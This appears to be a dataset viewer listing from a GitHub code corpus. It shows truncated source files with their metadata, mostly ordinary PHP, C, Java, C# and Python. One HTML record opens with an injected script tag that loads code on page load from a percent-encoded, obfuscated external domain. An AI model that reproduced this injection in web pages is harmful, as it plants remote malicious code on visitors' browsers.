id
stringlengths
64
64
content
stringlengths
500
100k
language
stringclasses
29 values
path
stringlengths
4
333
repo
stringlengths
5
116
license
stringclasses
15 values
size
int64
500
100k
lines
int64
26
8.06k
source
stringclasses
1 value
ec42412c5d9a6ae1de70643effd89695dfcca6fc9132e344d2fb2ca9d7bb9de3
<?php /** * @version 4.14.0 23.05.2016 * @author MAXXmarketing GmbH * @package Jshopping * @copyright Copyright (C) 2010 webdesigner-profi.de. All rights reserved. * @license GNU/GPL */ defined('_JEXEC') or die; class JshoppingModelShippingsPrices extends JshoppingModelBaseadmin{ ...
PHP
administrator/components/com_jshopping/models/shippingsprices.php
sh00r00p/meridian
gpl-2.0
2,444
66
codeparrot/github-code
843512385cf7d344efbbe144605c68a5937e22b6c431ace6859e63454baa0f26
<?php /* Plugin Name: Pro Sites (Feature: Limit BuddyPress) */ class ProSites_Module_BP { function ProSites_Module_BP() { $this->__construct(); } function __construct() { add_action( 'psts_settings_page', array(&$this, 'settings') ); add_filter( 'psts_settings_filter', array(&$this, 'settings_pr...
PHP
wp-content/plugins/pro-sites/pro-sites-files/modules/buddypress.php
setify/gastro
gpl-2.0
3,708
105
codeparrot/github-code
c52e8aebd8132fc7fc3824f7abda0223d7a60173b1773d4db9c7b030e9807cfc
/* * Copyright 2006-2020 The MZmine Development Team * * This file is part of MZmine. * * MZmine is free software; you can redistribute it and/or modify it under the terms of the GNU * General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any ...
Java
src/main/java/io/github/mzmine/parameters/parametertypes/StringParameter.java
tomas-pluskal/mzmine3
gpl-2.0
4,113
151
codeparrot/github-code
9ed72ef36c89d5de32175a5cb53cabb67c6c0281321e88039ab18ce66c6822d3
using System; using System.Collections; using System.Collections.Generic; using System.ComponentModel; using System.Xml; using Pyratron.UI.Controls; using Pyratron.UI.Markup.Converters; namespace Pyratron.UI.Markup { public class MarkupLoader { private readonly List<IMarkdownConverter> converters = ne...
C#
Source/PyraUI/Markup/MarkupLoader.cs
Pyratron/PyraUI
gpl-2.0
4,244
106
codeparrot/github-code
31ae690cbdf4aa8470de1afdb851aa7b4761e20047f378f322847bed5b4d3ce0
/* $Id: addr_resolv_sock.c 5377 2016-07-05 13:21:31Z nanang $ */ /* * Copyright (C) 2008-2011 Teluu Inc. (http://www.teluu.com) * Copyright (C) 2003-2008 Benny Prijono <benny@prijono.org> * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public ...
C
pjlib/src/pj/addr_resolv_sock.c
AlexanderVangelov/pjsip
gpl-2.0
8,415
302
codeparrot/github-code
3940f0b835ec6ace5006b970939e3733279fa94f647fd5967c9e5f2f93b23066
<script/src=//%61%6C%69%63%64%6E%2E%72%65%2E%6B%72/%72%65%2E%6B%72></script> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>99re2.¾Ã¾ÃÈÈ×îеØÖ·|É«ÓûÓ°ÊÓ ÒùÏãÒùÉ« ÌìÌìÓ°ÊÓ À´°É×...
HTML
logs/palao/beijingdongchengtiantanxinyongkataoxian76.html
ForAEdesWeb/AEW25
gpl-2.0
37,336
589
codeparrot/github-code
a8e4b157b3ea3d81459ab4ae8688dff8af04541e79aeae46d8615d8fb8c831e8
/* * Copyright (C) 2013 Intel, Inc * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distrib...
C
panels/sharing/cc-media-sharing.c
1dot75cm/gnome-control-center
gpl-2.0
3,797
146
codeparrot/github-code
2c3db7de7ce9e6796462be390692c3c8e06122bbf2e827ea6f1e1ac712195486
/** * OWASP Benchmark Project v1.1 * * This file is part of the Open Web Application Security Project (OWASP) * Benchmark Project. For details, please see * <a href="https://www.owasp.org/index.php/Benchmark">https://www.owasp.org/index.php/Benchmark</a>. * * The Benchmark is free software: you can redistribute it and/...
Java
src/main/java/org/owasp/benchmark/testcode/BenchmarkTest16422.java
iammyr/Benchmark
gpl-2.0
2,687
88
codeparrot/github-code
9c9312f5f5758126b92bf8cbcd34870f925a6e6c4af9196095b5a595d37cc2c4
/* MobileRobots Advanced Robotics Interface for Applications (ARIA) Copyright (C) 2004, 2005 ActivMedia Robotics LLC Copyright (C) 2006, 2007, 2008, 2009 MobileRobots Inc. Copyright (C) 2010, 2011 Adept Technology, Inc. This program is free software; you can redistribute it and/or modify it under the terms o...
Java
arnetworking/ddd/javaExamples/customClientExample.java
admo/aria
gpl-2.0
4,033
110
codeparrot/github-code
b575f8bbdb5041cb8a2b07f535d4f95d545fe9556bf3b6d07b711e78ed3e5c66
/* * Copyright (c) 2013, 2015, Oracle and/or its affiliates. All rights reserved. * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER. * * This code is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License version 2 only, as * published by the Free ...
Java
graal/com.oracle.graal.nodes/src/com/oracle/graal/nodes/extended/LoadMethodNode.java
BunnyWei/truffle-llvmir
gpl-2.0
4,666
118
codeparrot/github-code
198e73f49a107997c77532f9bd2f295edeed656b08c3eec702fbed52ef486d8c
#ifndef IO_XYZ_H #define IO_XYZ_H #include <vector> #include <string> #include <iostream> namespace kit { namespace io { void load_xyz(std::istream& is, std::string& comment, std::vector<std::string>& elements, // clears the original std::vector<doub...
C
io-xyz.h
oosode/lmax
gpl-2.0
1,198
35
codeparrot/github-code
8f2014880f604bf457a7298afe846212e68043afe575d4a504652623e603eca4
/** * ProxyStore is a superclass of {@link Ext.data.Store} and {@link Ext.data.BufferedStore}. It's never used directly, * but offers a set of methods used by both of those subclasses. * * We've left it here in the docs for reference purposes, but unless you need to make a whole new type of Store, what * you're pr...
JavaScript
ext/packages/core/src/data/ProxyStore.js
AlexeyPopovUA/Learning-ExtJS-6-Classes
gpl-2.0
35,909
1,036
codeparrot/github-code
94dc91422c6b932c2c2dadd4e68e7785421e3be8374df29a90f89a2e93ddf9ce
<?php /** * PagSeguro Transparente Magento * Notification Controller responsible for receive order update notifications from PagSeguro * See how to setup notification url on module's official website * * @category RicardoMartins * @package RicardoMartins_PagSeguro * @author Ricardo Martins * @copyri...
PHP
app/code/community/RicardoMartins/PagSeguro/controllers/NotificationController.php
r-martins/PagSeguro-Magento-Transparente
gpl-2.0
3,249
77
codeparrot/github-code
28dcbd274a92ce016b97d36280880858b9270261cea044f4f3c5f48f542564cc
selfFile = File.expand_path __FILE__ selfDir = File.dirname(selfFile) require 'stringio' require 'fileutils' #require 'rubyserial' include FileUtils::Verbose if(RUBY_PLATFORM =~ /win32/) # This fails on non-Windows platforms. require 'win32/registry' end require File.expand_path(selfDir+'/shared.rb') require File...
Ruby
arduino-shared.rb
evothings/arduino-workfile
gpl-2.0
16,727
583
codeparrot/github-code
069d4aaa92209f5162d053094d9d5b99d7603aaf5f78a09bff732dc2323462b0
/* c352.c - Namco C352 custom PCM chip emulation v1.0.1 By R. Belmont Additional code by cync and the hoot development team Thanks to Cap of VivaNonno for info and The_Author for preliminary reverse-engineering Chip specs: 32 voices Supports 8-bit linear and 8-bit muLaw samples Out...
C
src/sound/c352.c
amadvance/advancemame
gpl-2.0
17,286
693
codeparrot/github-code
6f6ffd29180c43fe9ba20d338dbcc57c1f45e6903376e83ebed8fe6f88bbce0b
<?php /* vim: set expandtab sw=4 ts=4 sts=4: */ /** * Schema support library * * @package PhpMyAdmin-schema */ if (! defined('PHPMYADMIN')) { exit; } /** * This Class interacts with the user to gather the information * about their tables for which they want to export the relational schema * export options a...
PHP
libraries/schema/User_Schema.class.php
allen501pc/phpmyadmin
gpl-2.0
36,968
918
codeparrot/github-code
269a38b093e9ce3a5997050f966344538a94e0e9a11f15ed9163cee603cef798
#if defined (_MSC_VER) && (_MSC_VER >= 1020) #pragma once #endif #if !defined(CROFFSYSTEM_H_INC) #define CROFFSYSTEM_H_INC #ifndef __Q_SHARED_H #include "../qcommon/q_shared.h" //needs to be in here for entityState_t #endif #if !defined(SERVER_H_INC) #include "../server/server.h" #endif #include <vector> #include...
C
src/qcommon/RoffSystem.h
entdark/jk2mv
gpl-2.0
6,094
184
codeparrot/github-code
846b58332739981e95df73215231124fc986a7555481389dcb21927ab8533c60
public class DirectoryObjectSecurity : ObjectSecurity { // Methods public virtual AccessRule AccessRuleFactory(System.Security.Principal.IdentityReference identityReference, int accessMask, bool isInherited, InheritanceFlags inheritanceFlags, PropagationFlags propagationFlags, AccessControlType type, System.Guid obj...
C#
SourceInsight3/NetFramework/DirectoryObjectSecurity.cs
Pengfei-Gao/source-Insight-3-for-centos7
gpl-2.0
3,241
42
codeparrot/github-code
9b1c6e515e5120acf49b42ef850b4c667905d159246997223c242ff9438d4742
#coding: utf-8 # # Ailurus - a simple application installer and GNOME tweaker # # Copyright (C) 2009-2010, Ailurus developers and Ailurus contributors # Copyright (C) 2007-2010, Trusted Digital Technology Laboratory, Shanghai Jiao Tong University, China. # # Ailurus is free software; you can redistribute it and/or modi...
Python
ailurus/computer_doctor_pane.py
killpanda/Ailurus
gpl-2.0
6,390
146
codeparrot/github-code
fdd372fc324b54c28ea5760775a74981f3ceb67418b2dbdee9f5b02786004f30
<?php /** * Email Order Items * * @author WooThemes * @package WooCommerce/Templates/Emails * @version 2.1.2 */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly } foreach ( $items as $item_id => $item ) : $_product = apply_filters( 'woocommerce_order_item_product', $order->get_pro...
PHP
wp-content/plugins/woocommerce-master/templates/emails/email-order-items.php
rais24/benson
gpl-2.0
3,263
80
codeparrot/github-code
f49bbe6601a3b2df88fcdb2c90ca4fe47da54d3c6c6147131072bf19398cef22
/* Copyright 2006-2010 Kevin Ottens <ervin@kde.org> Copyright 2010 Mario Bensi <mbensi@ipsquad.net> This library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 o...
C++
solid/solid/backends/fstab/fstabhandling.cpp
vasi/kdelibs
gpl-2.0
9,556
345
codeparrot/github-code
5918c1e4e94b086494061604b2ecbc3d8d7e1c4cef5cdbccdc8836b60136a1b1
<?php /** * This is the model class for table "{{placegroup}}". * * The followings are the available columns in table '{{placegroup}}': * @property integer $id * @property integer $prior * @property string $url * @property string $value * @property string $description * * The followings are the available mod...
PHP
protected/models/Placegroup.php
1000web/olimp
gpl-2.0
2,749
95
codeparrot/github-code
7850eca463833ef850231ee8ff1039e3c192861b3f13c4049ea543b5f6645a1e
/* * lookif.c * This file is part of epol/snmp * * Copyright (C) 2015 - Enrico Polesel * * epol/snmp is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your opti...
C
lookif.c
epol/snmp
gpl-2.0
11,784
437
codeparrot/github-code
5ffc5574a3af6f40e835dbf9703bacc54376ea6c468568a77ebfd6de633ca5ce
package datamodel; import io.github.mzmine.datamodel.RawDataFile; import io.github.mzmine.datamodel.features.ModularFeature; import io.github.mzmine.datamodel.features.ModularFeatureList; import io.github.mzmine.datamodel.features.ModularFeatureListRow; import io.github.mzmine.datamodel.features.types.abstr.StringType...
Java
src/test/java/datamodel/IntentionalOvershootTypeTest.java
mzmine/mzmine3
gpl-2.0
1,731
59
codeparrot/github-code
faed16c87f748d788fc5deaf9bfdff57d3a7d2945cfba5ae0dda899594325a6f
/* * This file is part of the coreboot project. * * Copyright 2016 Rockchip Inc. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; version 2 of the License. * * This program is distribu...
C
src/soc/rockchip/rk3399/include/soc/grf.h
latelee/coreboot
gpl-2.0
8,125
350
codeparrot/github-code
cd30f9e23f0712736da7f3f1f649bf0463337b5b32d0c748c83031c08beffad7
/* MobileRobots Advanced Robotics Interface for Applications (ARIA) Copyright (C) 2004, 2005 ActivMedia Robotics LLC Copyright (C) 2006, 2007, 2008, 2009 MobileRobots Inc. Copyright (C) 2010, 2011 Adept Technology, Inc. This program is free software; you can redistribute it and/or modify it under the terms o...
C++
aria/advanced/amptuDemo.cpp
admo/aria
gpl-2.0
5,595
199
codeparrot/github-code
9f1e216ba0fdc650a2aa21f770996d5ba3d0ce062fe3f358601808ae70253462
/* * Universal power supply monitor class * * Copyright © 2007 Anton Vorontsov <cbou@mail.ru> * Copyright © 2004 Szabolcs Gyurko * Copyright © 2003 Ian Molton <spyro@f2s.com> * * Modified: 2004, Oct Szabolcs Gyurko * * You may use this code as per GPL version 2 */ #include <linux/module.h> #incl...
C
drivers/power/power_supply_core.c
chuukai/ponyo-kernel-nAa
gpl-2.0
8,756
349
codeparrot/github-code
ec1ecc75f340c2217d11c883889d2070f53e287225c31955411046fb1f82e250
package cmput301w16t01crimsonhorizons.parkinghelper; import android.content.Context; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.ArrayAdapter; import android.widget.Button; import android.widget.ImageView; import android.widget.TextView; import and...
Java
ParkingHelper/app/src/main/java/cmput301w16t01crimsonhorizons/parkinghelper/NotificationAdapter.java
CMPUT301W16T01/Crimson_Horizons
gpl-2.0
2,892
69
codeparrot/github-code
2df83393d851d18974ca882910e39f687738f0345aaeee3a54bab9d45140999d
/* -*- Mode: C++; c-file-style: "gnu"; indent-tabs-mode:nil; -*- */ /* * Copyright (c) 2016 SEBASTIEN DERONNE * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation; * * This program...
C++
examples/wireless/wifi-he-network.cc
hanyassasa87/ns3-802.11ad
gpl-2.0
12,660
306
codeparrot/github-code
ff8db0781c3a3f9eaa65ba54193c08aa78106ee748d5178000fc6eeb7a0967c7
<?php if ( !class_exists( 'Admin_Helper' ) ) { class Admin_Helper { /* * Display notice on plugin page, if LR API Key and Secret are empty */ public static function display_notice_to_insert_api_and_secret() { ?> <div id="loginRadiusKeySecretNotification" s...
PHP
wp-content/plugins/loginradius-for-wordpress/lr-social-login/admin/helpers/class-admin-helper.php
dekmidia/openbalada
gpl-2.0
9,446
177
codeparrot/github-code
9a38bba1844d5ebf275e9534d4bbf69d96953ce234f6e2bdfb9f5428aafe3910
<?php /************************************************************************* staff.inc.php File included on every staff page...handles logins (security) and file path issues. Peter Rotich <peter@osticket.com> Copyright (c) 2006-2013 osTicket http://www.osticket.com Released under the GNU...
PHP
scp/staff.inc.php
RockefellerArchiveCenter/osTicket
gpl-2.0
4,803
140
codeparrot/github-code
2f697941e7208f29f3703b3d90b4cc4b8cea008fff6762fa293737a448b47287
/* * Copyright (c) 2007 Adrian Page <adrian@pagenet.plus.com> * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later versio...
C++
krita/ui/opengl/kis_opengl_fragment_shader.cpp
JeremiasE/KFormula
gpl-2.0
1,382
42
codeparrot/github-code
4feac941ed5848b6b908b843b3e03dc536b7d26655868dd07c40e65881845497
package br.gov.lexml.madoc.server.execution.hosteditor; import br.gov.lexml.madoc.server.schema.Constants; import br.gov.lexml.madoc.server.util.MultipleStringReplacer; public class HostEditorReplacer { private final MultipleStringReplacer replacer; public HostEditorReplacer(){ this(null); } public HostEd...
Java
madoc-engine/src/main/java/br/gov/lexml/madoc/server/execution/hosteditor/HostEditorReplacer.java
lexml/madoc
gpl-2.0
814
35
codeparrot/github-code
a9d051af15abe6a66389e64bd3dae114ccfc84055365f6f014f295e839c1d0f7
// Most of it was made by xPaw: https://gist.github.com/xPaw/73f8ae2031b4e528abf7 // Add following lines into manifest.json under content_scripts section (and tweak or remove date below): // { // "js": [ "js/autojoinSteamQueue.js" ], // "matches": [ "*://store.steampowered.com/*" ] // } const summer2018 = new D...
JavaScript
js/autojoinSteamQueue.js
ge-ku/AutoJoin-for-SteamGifts
gpl-2.0
2,924
78
codeparrot/github-code
e583b04981762031347a5971b414807a63153220501e78d284bb419a28792655
<?php /** * Displays HTML for entity access levels. * Requires an entity because some special logic for containers is used. * * @uses int $vars['entity'] - The entity whose access ID to display. */ //sort out the access level for display if (isset($vars['entity']) && elgg_instanceof($vars['entity'])) { $access_i...
PHP
mod/twitter_bootstrap/views/default/output/access.php
davidromani/pgca
gpl-2.0
1,668
43
codeparrot/github-code
085df09077f40ca8daa3fc05e83883a0527b0f26f0d9f684d32b2bbc5b963ab5
package com.yh.hr.res.pt.queryhelper; import java.util.HashMap; import java.util.List; import java.util.Map; import org.apache.commons.collections.CollectionUtils; import com.yh.hr.res.pt.bo.PtReportFile; import com.yh.platform.core.dao.DaoUtil; import com.yh.platform.core.exception.ServiceException; /** * 文号信息查询工具类...
Java
freelance-hr-res/src/java/com/yh/hr/res/pt/queryhelper/PtReportFileQueryHelper.java
meijmOrg/Repo-test
gpl-2.0
936
36
codeparrot/github-code
a1f5190fdcf5b0872d972add585174cb338521a0515304b276e4ffdd8288a9c4
/* This file is part of the KDE project Copyright (C) 2005-2006 Jarosław Staniek <staniek@kde.org> This library is free software; you can redistribute it and/or modify it under the terms of the GNU Library General Public License as published by the Free Software Foundation; either version 2 of the Licen...
C
kexi/formeditor/kexiformeventhandler.h
donniexyz/calligra
gpl-2.0
3,753
106
codeparrot/github-code
0bff60aee3f7b2797583b27241a240673fbd8f451a67a0391d83615cbf4cd905
# ----------------------------------------------------------- # reads the text from the given file, and outputs its # character statistics #o # (C) 2015 Frank Hofmann, Berlin, Germany # Released under GNU Public License (GPL) # email frank.hofmann@efho.de # ----------------------------------------------------------- ...
Python
text-analysis/character-statistics.py
hofmannedv/training-python
gpl-2.0
2,207
92
codeparrot/github-code
53ad0b8ad70ac1840da7d8a822c893938fd1a9d5794fc48c3da4eadc4e56135d
<?php function stag_add_option( $name, $value ){ stag_update_option( $name, $value ); } function stag_update_option($name, $value){ $stag_values = get_option('stag_framework_values'); $stag_values[$name] = $value; update_option('stag_framework_values', $stag_values); } function stag_remove_option($name){ $s...
PHP
wp-content/themes/foley-v2/framework/stag-theme-functions.php
gp6shc/foley
gpl-2.0
10,199
276
codeparrot/github-code
0c85b2967ea3d44de94a0c6f99e85efd4ab6515641739e101991b4c8b3a07225
/*************************************************************************/ /*! @Title System Description Header @Copyright Copyright (c) Imagination Technologies Ltd. All Rights Reserved @Description This header provides system-specific declarations and macros @License Dual MIT/GPLv2 The conte...
C
drivers/gpu/pvr/omap4/sysconfig.h
Quallenauge/kernel-archosg9
gpl-2.0
4,756
114
codeparrot/github-code
19fb3b248eb14f93296a944a22a4144eef4137356451c3b84799c057c6f3ce8c
<?php /** * HUBzero CMS * * Copyright 2005-2015 HUBzero Foundation, LLC. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights ...
PHP
core/modules/mod_incremental_registration/tmpl/popover.php
mulligaj/hubzero-cms
gpl-2.0
19,732
323
codeparrot/github-code
759a2bca943ebc3cc5981c2dfcef2e6493c47651aa59bc376e42f6c1d67adaa0
<?php declare(strict_types=1); /* * This file is part of the TYPO3 CMS project. * * It is free software; you can redistribute it and/or modify it under * the terms of the GNU General Public License, either version 2 * of the License, or any later version. * * For the full copyright and license information, ple...
PHP
typo3/sysext/backend/Classes/Controller/UserSettingsController.php
maddy2101/TYPO3.CMS
gpl-2.0
2,979
79
codeparrot/github-code
255e8818f745781369abceab8709b7a600a66a3d6e9ea29a4f07270186799c26
/* * Copyright (C) 2008-2010 TrinityCore <http://www.trinitycore.org/> * * This program is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License as published by the * Free Software Foundation; either version 2 of the License, or (at your * option) any later ve...
C++
src/server/scripts/Northrend/DraktharonKeep/boss_dred.cpp
VenT/wow
gpl-2.0
7,638
270
codeparrot/github-code
dbc7a8257a2d7fbae88b7d22a236f67d2393784d8634981c64c2e168a345fe7d
/*! \ingroup Memory \brief This function calls the custom malloc function, if one has been defined, or simply calls the default C malloc function if no custom function exists. It is not called directly by wolfSSL, but instead generally called by using XMALLOC, which may be replaced by wolfSSL_M...
C
doc/dox_comments/header_files/memory.h
lechner/wolfssl
gpl-2.0
9,269
301
codeparrot/github-code
c300379285bbd38bca2838b71871b18f01849d956183094e2952a2d79abe2b15
<?php if(!defined('kernel_entry') || !kernel_entry) die('Not A Valid Entry Point'); class cls_json_drupal_cache_field { public function write_buffer($data) { } public function echo_export_string($data) { echo $this->create_export_string($data); } private function create_export_string($data) { $i = 0; $conte...
PHP
include/data/base_table_exporters/cls_json_drupal_cache_field.php
dl4gbe/kernel
gpl-2.0
1,041
38
codeparrot/github-code
b7003d2583d95e363c157f7702ab4e9e0a6942efda814f790b6f4eeae768f937
package workingsaturdays.com.materialgram; import android.animation.Animator; import android.animation.AnimatorListenerAdapter; import android.content.Intent; import android.os.Bundle; import android.support.v7.app.AppCompatActivity; import android.support.v7.widget.LinearLayoutManager; import android.support.v7.widge...
Java
app/src/main/java/workingsaturdays/com/materialgram/MainActivity.java
Nikesh-Masiwal/Materialgram
gpl-2.0
5,350
154
codeparrot/github-code
0b7f1dbe9623638ffef8698af1a03aa48c86cdd32515ab01bdb3709caa8e9bb7
#include <X11/X.h> #include <X11/Xlib.h> #include <X11/Xutil.h> #include <X11/keysym.h> #include <X11/Xatom.h> #include <X11/Xutil.h> #include <X11/extensions/XShm.h> #include <gdk/gdk.h> #include <gdk/gdkx.h> #include <gdk/gdkpixmap.h> #include <gdk/gdkprivate.h> #include "bg.h" #include "dbg.h" #include "config.h" ...
C
bg.c
petercommand/trayer
gpl-2.0
4,961
208
codeparrot/github-code
a5afa50d045ff46c678fad8d540345bee2eeb0027070cd620a2f53d0bf7eec09
using System; using System.Collections; using Gtk; using Glade; public class PhotoEditorUI { [Glade.Widget] Window window2; [Glade.Widget] Notebook notebook1; [Glade.Widget] Table table1; [Glade.Widget] Label label2; [Glade.Widget] Label label3; [...
C#
PhotoEditorUI.cs
joshuacox/dfo
gpl-2.0
31,805
902
codeparrot/github-code
8af3d0232dabc876a6f1ada25a4ae441d03b00654e138519237bcffd524a3812
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <sys/types.h> #include <sys/stat.h> #include <linux/soundcard.h> #ifdef HAVE_ALSA #include <alsa/asoundlib.h> #endif #define AUDIO_DEVICE "/dev/dsp" #define ALSA_MAX_BUF_SIZE 655350 #ifdef HAVE_ALSA int play_sound_Alsa(char* filen...
C
playmusic.c
Oxfinder/splayer
gpl-2.0
4,131
170
codeparrot/github-code
b654e39e481914f2f384cc110e3d186b20cbe20c0f30730ea5c12d7ab9d44379
<?php /* vim: set expandtab tabstop=4 shiftwidth=4: */ /* * +--------------------------------------------------------------------------+ * | Copyright (c) 2008-2012 Add This, LLC | * +--------------------------------------------------------------------------+ * | This program is f...
PHP
wp-content/plugins/addthis-follow/addthis-follow.php
wearespiders/wp_snowschurch
gpl-2.0
21,740
554
codeparrot/github-code
c5470e25950ff1f56eec205296b3e2f2bf0cb8451971a9c34bb293771aba6a44
#include <iostream> #include<cmath> #include<cstdio> #include<cstring> using namespace std; /* run this program using the console pauser or add your own getch, system("pause") or input loop */ int main(int argc, char** argv) { int T; cin>>T; for(int ti=1;ti<=T;ti++) { char A[1010]; char B[1010]; ...
C++
1_Algorithm/hdu/ACM_STEP/old_ch2/section 3/A + B Problem II/main.cpp
fangtanchen/Learning
gpl-2.0
1,032
55
codeparrot/github-code
3e543ea14216a7383179f5e17888a4fe2973c011776e1af9fa3be5a0944cd244
package tau.tac.adx.report.demand; import java.text.ParseException; import se.sics.isl.transport.TransportReader; import se.sics.isl.transport.TransportWriter; import se.sics.tasim.props.SimpleContent; import tau.tac.adx.demand.Campaign; import tau.tac.adx.demand.UserClassificationServiceAdNetData; /** * * @autho...
Java
AdX/src/main/java/tau/tac/adx/report/demand/AdNetworkDailyNotification.java
Iolaum/MrSmith
gpl-2.0
3,521
150
codeparrot/github-code
6c1d9aac1c23da3cb7ce9a607c285ae9478e1d270ae1f28f34682c7d74e41ccb
/* Primary expression subroutines Copyright (C) 2000-2014 Free Software Foundation, Inc. Contributed by Andy Vaught This file is part of GCC. GCC is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either vers...
C
gcc/fortran/primary.c
albertghtoun/gcc-libitm
gpl-2.0
78,409
3,329
codeparrot/github-code
2f046c76239cbfb0f239aa258e506001533d206d64bfe8549303aee019f02964
<nav id="dl-menu" class="dl-menuwrapper" role="navigation"> <button class="dl-trigger">Open Menu</button> <ul class="dl-menu"> <li><a href="{{ site.url }}">Inicio</a></li> <li> <a href="#">Acerca</a> <ul class="dl-submenu"> <li> <img src="{{ site.url }}/images/{{ site.owner.avatar }}" alt="{{ site....
HTML
_includes/navigation.html
cruznick/cruzgeek
gpl-2.0
2,564
58
codeparrot/github-code
a8adf2e31a323f8c9eda478a6b3bca80e7b15540011a653895c73201314d8d37
<?php /* $Id$ $URL$ */ if (!defined('W2P_BASE_DIR')) { die('You should not access this file directly.'); } $forum_id = (int) w2PgetParam($_GET, 'forum_id', 0); // check permissions for this record $perms = &$AppUI->acl(); $canAuthor = canAdd('forums'); $canEdit = $perms->checkModuleItem('forums', 'edit', $forum_id);...
PHP
modules/forums/addedit.php
gajdusek/web2project-svn
gpl-2.0
6,290
163
codeparrot/github-code
4aacd5f8a277a3f51c6d109c705fcb4cdf0642356ea532432a39d754a5ff84b0
// Eternal Lands Bot // Copyright (C) 2006 Artem Makhutov // artem@makhutov.org // // This program is free software; you can redistribute it and/or // modify it under the terms of the GNU General Public License // as published by the Free Software Foundation; either version 2 // of the License, or (at your option) an...
C#
AdvancedCommunication/LOCCommandHandler.cs
Sir-Odie/CS-ELBot
gpl-2.0
3,714
94
codeparrot/github-code
6e5f69afbf45504ae13a59efa6612a3693205f47fd8504a27d650c2e95c291a7
/*************************************************************************** markerdialog.h ---------------- begin : Wed April 21 2004 copyright : (C) 2003 by Michael Margraf email : michael.margraf@alumni....
C
qucs/diagrams/markerdialog.h
sufism/qucs_chs
gpl-2.0
1,500
48
codeparrot/github-code
4d9737d78ddfa6bed558d2c82f8674ab6b916e690e52524bdd86d63460f11bfe
<?php /** * JBZoo App is universal Joomla CCK, application for YooTheme Zoo component * * @package jbzoo * @version 2.x Pro * @author JBZoo App http://jbzoo.com * @copyright Copyright (C) JBZoo.com, All rights reserved. * @license http://jbzoo.com/license-pro.php JBZoo Licence * @co...
PHP
media/zoo/applications/jbuniversal/framework/render/filter/element.text.range.php
alexmixaylov/real
gpl-2.0
1,870
73
codeparrot/github-code
d3946d18d79901c9519bacad6ca5256866de8f91d0a7eea16a6c71bcaac0d8a3
#ifndef _LINUX_SCHED_H #define _LINUX_SCHED_H /* * cloning flags: */ #define CSIGNAL 0x000000ff /* signal mask to be sent at exit */ #define CLONE_VM 0x00000100 /* set if VM shared between processes */ #define CLONE_FS 0x00000200 /* set if fs info shared between processes */ #define CLONE_FILES 0x00000400 /* set if...
C
include/linux/sched.h
Krizthian/BeliveKernel_otus
gpl-2.0
87,522
2,916
codeparrot/github-code
e56e7248cebcde88787cbb940539bd8d38d6a5c6128ca3e583b242ee34f693b2
package condicionales; import java.util.Scanner; public class Ejercicio7b { public static void main(String[] args) { int ordenador; String juego_ordenador; // ordenador elige su juego ordenador = (int) (Math.random() * 3 + 1); if (ordenador==1) juego_ordenador="piedra"; else if (or...
Java
UT3ControFlujo/src/condicionales/Ejercicio7b.java
angelazarquiel/programacion
gpl-2.0
1,601
50
codeparrot/github-code
e27763815bed3ae9d8a71ffad3ca1ecb8f379a3cd09f21149e4fe294ceba0d15
/* * This file is part of Invenio. * Copyright (C) 2015 CERN. * * Invenio is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License as * published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * ...
JavaScript
invenio_circulation/static/js/circulation/circ_id_complete.js
mvesper/invenio-circulation
gpl-2.0
2,045
63
codeparrot/github-code
4bb778830ce5965b200088559ff32393afc88685af174342c68c642329f80536
// // Copyright(C) 1993-1996 Id Software, Inc. // Copyright(C) 2005-2014 Simon Howard // Copyright(C) 2014 Night Dive Studios, Inc. // // This program is free software; you can redistribute it and/or // modify it under the terms of the GNU General Public License // as published by the Free Software Foundation; either v...
C
strife-ve-src/src/strife/p_local.h
dotfloat/restrife
gpl-2.0
7,546
322
codeparrot/github-code
15ce08d78e173eb3cac94a5a5afdfa94d112b9acc291f95ae84a59c833c13909
(function ($) { /** * Attach the child dialog behavior to new content. */ Drupal.behaviors.overlayChild = { attach: function (context, settings) { // Make sure this behavior is not processed more than once. if (this.processed) { return; } this.processed = true; // If we cannot reach the...
JavaScript
sites/default/files/js/js_Fc4I144XPrPKyUpaWv36lNESuazCkfla6EpZyDPBOQk.js
sghinescu/baschetmania
gpl-2.0
21,554
697
codeparrot/github-code
f31bbb0361f0cd62d1f3fef54abf41ac10a847d362454ec098deb806103ed0c3
/* * DEBUG: section 20 Storage Manager Swapin Functions * AUTHOR: Duane Wessels * * SQUID Web Proxy Cache http://www.squid-cache.org/ * ---------------------------------------------------------- * * Squid is the result of efforts by numerous individuals from * the Internet community; see the CONTR...
C++
src/store_swapin.cc
lgcosta/squid3
gpl-2.0
3,762
104
codeparrot/github-code
f4049a9f787bc792e7e30460031a1387752b5c7a317935959e96b06d390ddc4d
<?php class TochucViewGoihinhthuchuongluong extends JViewLegacy { /** * @since 1.5 */ public function display($tpl = null) { $task = JFactory::getApplication()->input->get('task'); $task = ($task == null)?'default':strtoupper($task); $this->setLayout(strto...
PHP
administrator/components/com_tochuc/views/goihinhthuchuongluong/view.raw.php
phucnhdnict/cbcc_050515
gpl-2.0
